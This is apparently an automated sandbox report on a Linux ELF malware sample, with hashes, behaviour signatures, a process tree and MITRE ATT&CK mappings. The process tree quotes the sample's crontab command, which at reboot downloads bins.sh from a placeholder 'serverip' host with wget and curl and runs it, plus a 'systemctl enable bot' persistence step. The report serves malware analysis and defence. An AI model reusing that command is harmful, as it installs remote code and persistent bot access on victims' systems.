Analysis
-
max time kernel
149s -
max time network
147s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240522.1-en -
resource tags
-
submitted
19-11-2024 23:56
General
-
Target
x86_64.elf
-
Size
69KB
-
MD5
c060aa8e1d7eeef5b50c97c829f479ff
-
SHA1
3f5bd2cac04b460b9c2d0c07c7d6d95475daaf17
-
SHA256
934af9b9bf9838d64d44911f92190a6742d152a421ed1a74762fb41b93f7366d
-
SHA512
f41aaf9a8dca6c5e3e0163bcffd9ad9f46f5e3d390a55ac602dc36fd374eda903263ac7ca539289a23027a0bed91e91ac5f8746e75ac7f0294c920af07f0171d
-
SSDEEP
1536:FqqTBlmF1tmpq7yP7/rDaTP5Tg435EVzD0zuKNTO7r1hlvw86AQ:FVLmFzCiyP7/PaTxvpEVzDzKNTOdhlva
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Creates/modifies environment variables 1 TTPs 1 IoCs
Creating/modifying environment variables is a common persistence mechanism.
-
Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
-
Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
-
Modifies Bash startup script 2 TTPs 1 IoCs
-
Changes its process name 1 IoCs
-
Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 1 IoCs
Reads data from /proc virtual filesystem.
-
System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
Processes
-
/tmp/x86_64.elf/tmp/x86_64.elf1⤵
- Modifies Watchdog functionality
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies systemd
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
-
/bin/shsh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -"2⤵
- File and Directory Permissions Modification
-
/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
-
-
/usr/bin/crontabcrontab -l3⤵
-
-
/usr/bin/chmodchmod +x bins.sh3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/shsh bins.sh3⤵
-
-
/bin/curl/bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh3⤵
- System Network Configuration Discovery
-
-
/usr/bin/chmodchmod +x bins.sh3⤵
- File and Directory Permissions Modification
-
-
/usr/bin/shsh bins.sh3⤵
-
-
-
/bin/shsh -c "/bin/systemctl enable bot"2⤵
-
/bin/systemctl/bin/systemctl enable bot3⤵
- Reads runtime system information
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Impair Defenses
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
356B
MD5f03c70cd4c61a1852f9e19b8fb0d639c
SHA1a6c078ffffdf05c4c47b273b24e6b3ff4ef7e008
SHA256ae50a3052a395987a2779deb9253d4aa8638f2f8b1cda7df9039388f21be7a90
SHA5126277fbbffcdd72fc3712721525538ac07fc46d290ebb02be34cef52b3e62bfa8a66f4e834d364d220108c815192e391ad986f05662fcbfae674417507f4bcc20
-
Filesize
235B
MD5e56b4b075446974cf106d92e38cc4940
SHA16f1601383affe0c5eb6897b1162ffc734e9f19da
SHA2560602bc60b1b518ebc9279f60ea73b172b72cf011ffaff66011815f3d40006eca
SHA5128f7ff61699a56c067bb59e2b2fda4db9d83f79e62455f7ca2e383e37e806b3131ff999f14f71df69752a87450d47d1f1b1f83310f09d0867994392916f70e6dd